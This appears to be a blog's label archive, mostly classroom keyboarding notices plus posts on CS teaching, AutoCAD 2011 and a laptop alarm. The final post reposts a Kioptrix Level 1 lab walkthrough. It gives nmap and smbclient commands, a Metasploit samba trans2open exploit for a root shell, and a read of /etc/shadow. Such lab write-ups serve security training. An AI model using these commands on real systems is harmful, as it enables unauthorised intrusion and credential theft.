Showing posts with label 1. Show all posts
Showing posts with label 1. Show all posts

Crossword puzzle 1 6 Create a blog

Wednesday, December 14, 2016

I will be handing out crossword puzzle 1-6 - it is a review of all words on lists 1 through 6 and is due Friday.  As usual, if you get it done before Friday you are welcome to turn it in early.

Today we are going to begin creating your blog.  We will need to go to Bloggers website - www.blogger.com.  This is going to allow you to be creative to a certain degree, and we will also have some assignments that will be required to be posted to your blog.  Since we are doing this at school you will have a few rules you will have to follow:
  • Your blog will need to be school appropriate at all times
  • There will be no games on your blog
  • You will open your blog (or be on your blog) ONLY when you are told to.  You will not be on your blog during class changing designs or posting information (or for any other reason) without permission
  • You are responsible for EVERYTHING that is on your blog, so be careful with what you do
  • Once the semester is over you can do with your blog what you want.  You are the owner/creator, so you have full power to use it as you wish (continue to use it for whatever purpose or completely delete the blog)
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Crossword puzzle 1 4 FA3

Monday, October 31, 2016

I will be handing out a crossword puzzle today that will be a review of vocab lists 1-4 - this will be due on Friday.

Today we are going to work on FA3.  I have a few things to go over first before you will be able to start on FA3 - do not start working on this while I am explaining what you need to do.


  Activity 3.pdf

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Vocab Quiz 1 learn B and Y

Monday, October 10, 2016

We will take the first few minutes to review for the vocab quiz.  After looking over the words on your wikispaces page we will go to Classmarker to take the quiz.  You shouldnt be on Classmarker until I tell you to go there!

Once you are completed with the quiz you will need to open Microsoft Word and turn to page 11.  You need to type lines 1-10 in section 5C.

Once we get done with section 5C we will move to page 12 and learn the B (L1) and the Y (R1).
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Learn Q and comma start Formatting activity 1

Wednesday, September 21, 2016

We will begin today with learning the Q (L4) and the comma (R2).

Once we complete learning these two new keys we will begin the process of learning about the first formatting activity and the formatting toolbar in Word.  Because we will be working on a Formatting Activity tomorrow in class (after the vocab quiz) you will want to bring your flash drive so that you can save your work to it.

We also will spend a little bit of time today talking about how to upload a file to your Google Drive, because this will also be a procedure you will be employing frequently throughout the semester (as we work on the formatting activities).  

Lastly, dont forget that tomorrow you have a vocab quiz over the week 2 vocab words (Hardware #2).
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Fifth Grade Project Yellowstone part 1

Saturday, September 3, 2016


By: Rubi and Aylani
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Vocab Quiz 2 Hardware 2 Formatting Activity 1

Sunday, August 21, 2016

Youll be given a few minutes at the beginning of class to review for the quiz - youll want to go to your Wikispaces page to do that.  Do NOT go to Classmarker until asked to do so.  As a reminder, make sure to submit your quiz answers - failure to do so will mean that you will have to come back and retake the quiz.

When you are done you will need to complete Formatting Activity 1, which is embedded below.  The instructions are given here - follow the instructions in order.  However, instead of completing steps 7 and 8 what you need to do is save your file to a flash drive. We will cover how to complete step 8 on Monday.  IF YOU DO NOT SAVE YOUR DOCUMENT TO YOUR FLASH DRIVE IT WILL BE ERASED AND YOU WILL HAVE TO START OVER NEXT WEEK!!!


FA1.pdf







If you get done you are welcome to go to the website resources page on the blog, go to the practice websites and play typing games.
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Computer Science Education Week Day 1

Sunday, August 7, 2016

Happy Computer Science Education Week!



Here are a couple of videos to celebrate:

  • Grace Hopper Explains a nanosecond
  • CSEd Week Videos - Todays Theme: Computer Science and Entertainment
Here in the lab we are doing recruitment activities all week. Tomorrow we are inviting freshmen in to visit. The plan is to show off some student work, then have some of the Finch Robots out for folks to try using the Snap interface.

Today the Intro to Programming kids will be starting a Careers in Computer Science project and working on some animations.

We also have ice cream.
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Finish FA2 Learn 8 1 9 4 and 0

Wednesday, July 13, 2016

REMINDER - VOCAB DEFINITIONS DUE TONIGHT FOR WEEK4!!!

Today we are going to finish FA2.  When you are done you should have 2 pages that are printed out - make sure to staple these and hand into the gray tray on the corner of my desk.  There is a specific order in which these should be stapled together so make sure to put them in correct order.

Once you get done with the formatting activity you will be working on learning the numbers across the top of the keyboard.  We are going to start with the first 5 today.  Here is how they should be used:

8 - R2 (reach from K to 8)
1 - L4 (reach from A to 1)
9 - R3 (reach from L to 9)
4 - L1 (reach from F to 4)
0 - R4 (reach from ; to 0)

When entering the numbers it will require you to really reach your fingers - I highly recommend watching your fingers make the "jump" from home row to the number row so you can get an idea of how far your fingers actually have to go in order to get to the numbers.  That also means that anchoring - or making sure that you keep at least one of your fingers on the home row - will be an even more important part of not losing your place on the home row.

P. 29, 13B, lines 1-4 twice
P. 30, 13D, lines 1-8 twice
P. 30, 13C, lines 1-6 once
P. 30, 13E, lines 1-6 once


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Formatting Activity 1

Wednesday, June 22, 2016

Today we are going to complete our first formatting activity.  This should be an easy way for everyone to help their grade - this formatting activity (or FA as I like to abbreviate them) will ask you to do some simple formatting in Microsoft Word, such as change your font, font size, and highlighting text.  Unfortunately, I cant be here today so I am going to leave you with the following video that should help guide you with what you need to accomplish.

In addition to completing the formatting activity you will need to attach the file you create (the assignment) to an email.  DO NOT, UNDER ANY CIRCUMSTANCES, ATTACH A GOOGLE DOC FILE TO YOUR EMAIL AND SEND IT TO ME!!! If you go to the How To page on the blog there is a video labeled "Attach a File to Gmail" that you need to watch to learn how to attach your desktop file to your email so you can send it to me.

Your complete attention will be directed at the video while it is playing - anyone caught working on the assignment before the video is completed will lose 10% of the value of the assignment (or in this case 1.5 pts since the assignment will be worth 14 pts).

In addition to watching the video, remember that there is a vocab quiz tomorrow - please prepare accordingly.  The video is embedded next; below the video are the instructions to FA1.  IT IS EXTREMELY IMPORTANT THAT YOU FOLLOW THE INSTRUCTIONS TO ALL OF THE FORMATTING ACTIVITIES IN ORDER, AND COMPLETELY READ EACH INSTRUCTION BEFORE WORKING TO COMPLETE THE INSTRUCTION!! 

If, and when, you get done with FA1 and you have sent me the email with your attached document you will need to go to the practice websites on the blog.  You may practice using any of the lessons or games, but the speed skin must stay on your keyboard.





Below are the instructions to FA1



FA1.pdf

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Crossword puzzle 1 7 due today

Thursday, May 19, 2016

You need to hand in your crossword puzzle - please make sure that you have written your name at the top.

Your priorities for today are as follows:

  1. Complete 3 of the timed writings on the Free Typing Game website.  Choose a different one of the Classic Tales (#26 - #35) stories to complete for each of the timed writings you do.  Write your best score on the sheet on the wall.
  2. Complete test #25 - thats the 10-key lesson test - youll use your keypad to complete this.  Its been a while since weve worked on these so this will be a good review.
  3. Complete any missing work during class.  Check the pages on the wall - if you get anything done it might be wise to cross it off so you arent confused the next time you look at the sheet on the wall (I can give you a Sharpie if you would like one).
  4. If you do not have any missing assignments you can go to the practice websites.  I will be selecting individuals to compete in the bracket competition.  We have several individual competitions that need to get completed to get brackets updated.
  5. If you have not yet posted definitions to the wiki spaces page for next week now would be a good time to get that done.  I dont normally offer class time, but Ill allow it since Im in a good mood today  :-)

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Fifth Grade Project Everglades part 1

Friday, April 15, 2016


By: Ricardo
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Algorithms Doing the Robot Part 1

Saturday, April 9, 2016


The CS Principles class just started Unit 4 - Algorithms this week. The intention is to teach them how to develop methods, and to use these methods to build algorithms.



In the class we are stuck with C++. There are good and bad things about this as a teaching language - I get a lot of strong opinions from folks about it. It is the language my county has chosen for this level of programming, so that is a debate for another day.

One benefit is the mechanics of creating a method are very similar to Java, and most of my students move on to take the APCS course.

Looking back over what we did last year overall they did learn the mechanics of methods. This is one of those topics that you teach, and you think they get it, and then three weeks later they have forgotten the whole business. For the current APCS course this is a big problem since the framework for most free response questions is a method.

On the other hand we got a bit too bogged down with C++ and didn’t spend enough time on algorithms. It is easy to do, I have taught C++ since it was the AP language over a decade ago and I have a ton of materials developed. As most people with small children know, February is flu/strep month so I was out a fair bit while we were covering this topic, and C++ worksheets make super sub-plans.

Algorithms are one of the core Big Ideas of CS Principles. The Learning Objectives that relate are:

LO 17: The student can develop an algorithm.
LO 21: The student can explain how programs implement algorithms.


These are being assessed though the Programming Portfolio. The Programming Portfolio item states that students must include "a description of the algorithms these programs implement". So at a minimum they need to be aware fo when they have developed an algorithm and articulate what it does.

You can find the full collection of CS Principles documents here. Many are still works in progress, but you can get a sense of where the course is going.

So this year I am trying to move beyond just teaching code and do more activities to build algorithmic thinking. More on that tomorrow.

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Crossword Puzzle 1 5 Keypad

Thursday, March 17, 2016

There is no vocab list for this week.  However, next week will be vocab list #6, and if you still have not yet posted definitions on the Wiki spaces page then you have plenty of time to get that completed.  When you post your definitions, you MUST make sure you put your name in parentheses, and you also must make sure that you save once you get done.  After saving check to see if your definitions are on the website - if not, then it is likely someone else is on the website and youll have to enter them again.  Keep trying until they are on the page after youve saved.

One note as we continue with our formatting activities for this week...many of you are not including a greeting (it can be as simple as "Mr. Pardoe", but it MUST include the name of the person you are sending the email to) and/or a body (it can be as easy as "Here is my FA4") when you are sending emails.  This causes you to lose a point every time you do not include it in your email - and these are easy points to get.  Make a note to yourself to remember to include this when you are sending me assignments through your email.

I will be handing out Crossword Puzzle 1-5; this will cover vocab words from lists 1-5 and will be due Friday.  As always, if you get it done early and want to hand it in before Friday that is perfectly ok.  This is homework - we will not be working on this in class.

We will start today with learning the keypad.  When we practice with the keypad we are going to use Microsoft Excel, so before we start learning the keypad I want to introduce you to Excel.  With the keypad, there is a homerow just as there is with the alphanumeric part of the keyboard, so well cover that first.  After that we will begin learning the keypad.

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Whats New in AutoCAD 2011 Part 1

Tuesday, April 8, 2014




The new start up screen in AutoCAD 2011. Make sure to go through the New features Workshop to see whats new.

AutoCAD 2011, the 25th release of Autodesk’s world famous design program AutoCAD, has been released. It has many updates, new features, and new tools added to it. Some of the more flashy additions are the new surface modeling tools as well as the new point cloud abilities. But perhaps the greatest additions are the new design tools that are intended to help your design process and workflow.

This is the first in a six part series. To see the other posts, follow the following links:
Part One Part Two Part Three Part Four Part Five Part Six


Changes to the Interface
Don’t be afraid, AutoCAD doesn’t have a new interface again, only a few tweaks. Rest assured that the default background color has changed again. It is now a dark gray. If you want to change it, open the OPTIONS window, go to the Display tab, and click on the Colors button. Pick the option, and then pick the color you want it to be. Since AutoCAD is often used for design drafting purposes, Autodesk decided to change the visual display of the grid to an actual grid instead of the series of dots we have all known and loved for so many years. I have to say that I “never” use the grid; but, now that it looks like graph paper, I will give it a try. Drawing on graphing paper has always been fun, maybe this new feature will make drawing in AutoCAD even more fun than it ever was before!

The grid feature in AutoCAD is now displayed as lines in a graph instead of a series of dots.


The Quick Access Toolbar has had a face lift. It now displays the name of the current workspace. The workspace selection field has been move from the status bar and placed in the QAT. Click the selection arrow to change your workspace. Out of the box, the QAT now contains the Save As tool.

Navigation has a new tool. Yes another! This new tool is called the Navigation Bar. It replaces the navigation tools that were previously on the Status Bar. It can be moved around to either the left or right side of the screen, or to either the top or bottom of your screen. You can even turn it off you want to. The Navigation Bar has the Steering Wheel on it, the View Cube, Show Motion, Pan, Zoom and Orbit. If you are using a 3D Connexion Device (a 3D Mouse) then the Navigation Bar has integrated support for it, when AutoCAD sees the appropriate hardware driver. On top of that, the View Cube can now be used with the 2D Wireframe visual style. If you like the View Cube in 3D, try it out in 2D.

The UCS Icon was changed to show a different color for each axis. Red is for the X axis. Green is for the Y axis. Blue is for the Z axis. The cones at the end of each axis line have been removed.

The Ribbon
The Ribbon has had some minor tweaks and twists added to it; nothing major, just some cosmetic surgery so to say. A new pull down menu option has been added to the Minimize Ribbon arrow button. Before 2011, when you clicked the Ribbon Minimize Arrow, the Ribbon would cycle through all of the possible minimize options one at a time. Now you can set that as the default setting, or you can tell which one of the options (minimize to Tabs, Panel titles, Panel Buttons, or all) you want the Ribbon to Minimize too. This is handy because you can toggle through the full Ribbon, to just the titles, or whichever setting you prefer. If you minimize the Ribbon to Panel Buttons, large icons are shown for each panel. You can expand them by hovering over them, just like when the Ribbon is minimized to Panel titles.

The View Tab of the Ribbon has a new Windows Panel. It is similar to the Windows Pull Down Menu form the Menubar of old. This panel has options to choose between open files, tiling of open files, toolbar display options and user interface options. The toolbar display options works just like right clicking on an open toolbar. It lists the available toolbars in your workspace. Here you can toggle specific toolbars on or off.
A new Fold Panels feature has been added to the Ribbon. When you change the size of the AutoCAD window, add or remove Ribbon Panels, the Fold Panels feature comes into play. Fold Panels resize themselves horizontally to fill the available space. When you make a panel a Fold Panel, you can define default, minimum and maximum button sizes.

Visual Styles
AutoCAD has had five visual styles available for us to use: 2D Wireframe, 3D Wireframe, 3D Hidden, Conceptual, and Realistic. AutoCAD 2011 has added five more visual styles. They are: Shaded, Shaded with Edges, Shades of Gray, Sketchy, and X-ray.

AutoCAD 2011 has added five new Visual Styles, each one having a different look

Visually Isolating Objects
AutoCAD 2011 has given us new visual display control tools. These new tools allow us to control the visibility of objects outside of the layer controls. We can now isolate objects based on selection and not just on layer values. These new tools are accessed through the right-click menu. When you use the Isolate Objects tool, only the selected objects will be seen. All other objects are hidden. Right click again to make everything visible again. The second visibility tool is the Hide Objects tool. This tool hides the selected objects, keeping everything else visible. This is useful when you need to work in a busy area of your model. You can use both visual tools at the same time, meaning that you can hide certain objects first, then isolate a few of the remaining objects. Once you have finished working, right-click and pick the End Object isolation tool. Isolated or hidden objects will remain in that state if you end your drawing session. The status bar has an icon that looks like a light bulb. If it is yellow, no objects are isolated or hidden. If it is red, then objects are either isolated, hidden, or both. You can also click the light bulb to start either tool.

Conclusion
AutoCAD 2011 has added many new and useful tools. We have only begun going through them. There are even more 2D tools that we haven’t touched yet and there are tremendously powerful new 3D modeling tools now available to us in AutoCAD. Stay tuned.

(Reprinted with permission from Autodesk User Group International - AUGI)
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Laptop or computer Avancement Targus PA400U DEFCON 1 Ultra Laptop Computer Security System

Sunday, March 30, 2014

Advertising Targus PA400U DEFCON 1 Ultra Laptop Computer Security System Inexpensive

Evaluations: Targus PA400U DEFCON 1 Ultra Laptop Computer Security System

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The Defcon is the first alarm that attaches directly to your carrying case and guards your notebook by sounding when someone tries to move the case. This revolutionary anti-theft system guards your notebook with a combination of stainless steel cable and motion sensor technology. The alarm sounds when someone tries to remove the notebook from its case (the notebook lock slot must be in use for this adapter protection), as well as when someone cuts or disconnects the security cable. You can choose from a high or normal sensitivity level. There is a 4 second delay in between motion and an alarm. The features of this versatile pocket-sized combo lock include: easy attachment to any case, an adapter lock included for notebooks equipped with a security slot, 1,000 user-settable combinations, a flashing LED that signifies the alarm is armed, and a 3 "chirp" audio warning of excessive movement before the 110 db alarm sounds.

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HOWTO Kioptrix Level 1

Friday, February 28, 2014

*** Do NOT attack any computer or network without authorization or you may put into jail. ***



Credit to : g0tmi1k



This is g0tmi1ks work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.



The original post at here



Links



Watch video on-line

Download video



Brief Overview



Kioptrix is another “Vulnerable-By-Design OS” (like De-ICE, Metasploitable and pWnOS), with the aim to go from "boot" to "root" by any means possible. This is the second video on it, first one here. Unlike last time, the entry method was via a samba weakness method which is a quick attack and straight to root.



Method



Scan network for hosts (nmap)

Scan target for running services (nmap)

Detect network shares (smbclient)

Exploit samba weakness, Trans2open (Metasploit)

Game Over



What do I need?



Kioptrix - Level 1 VM. Download here (Mirror: Part 1 MD5:4F08E9FD3C4C1A4D85D0E9E79FC3A44D, Part 2 MD58DB6CE65652880327B92150B08106EA)

VMware player OR workstation. Download here

nmap – (Can be found on BackTrack 4-R2). Download here

smbclient – (Can be found on BackTrack 4-R2). Download here

metasploit – (Can be found on BackTrack 4-R2). Download here



Walkthrough



A quick general nmap scan shows what hosts are on the network currently, before doing a more detailed scan on the target (192.168.0.111). By doing this, nmap shows what possible services (ports) the target has running and the version of the service and then attempts to identify the operating system (OS). The result of this are:



* OS: Linux v2.4.x (2.4.9-18)

* Samba: Samba smbd (wordgroup: MYGROUP)



The next stage was to test to make sure that samba was functioning correctly. By using smbclient, the attacker lists all services which are available on a target. The result being:



* Anonymous login

* Hostname (KIOPTRIX)

* Workgroup (MYGROUP)

* Defautl hidden admin shares (IPC$, ADMIN$)



The attacker proceeds begins by starting up metasploit and searching for a known exploit. After configuring all the settings required, the attacker launches it. Very soon afterwards the attacker has a remote shell, with "root" access to the system.



Commands



start-network

dhclient eth0

clear



nmap 192.168.0.* -n -sn -sP

nmap 192.168.0.111 -T4 -O -sV -sS #-sC -A -p- -v



#nmblookup -A 192.168.0.111 # Hostname

smbclient -L \192.168.0.111 -N # What services are available on a server

clear



msfconsole

search samba

use linux/samba/trans2open

#info

show options

set RHOST 192.168.0.111

show options

exploit

#msfcli linux/samba/trans2open RHOST=192.168.0.111 PAYLOAD=generic/shell_bind_tcp E #PAYLOAD=linux/x86/shell_bind_tcp



id

uname -a

cat /etc/shadow

cat /etc/issue




Thats all! See you.
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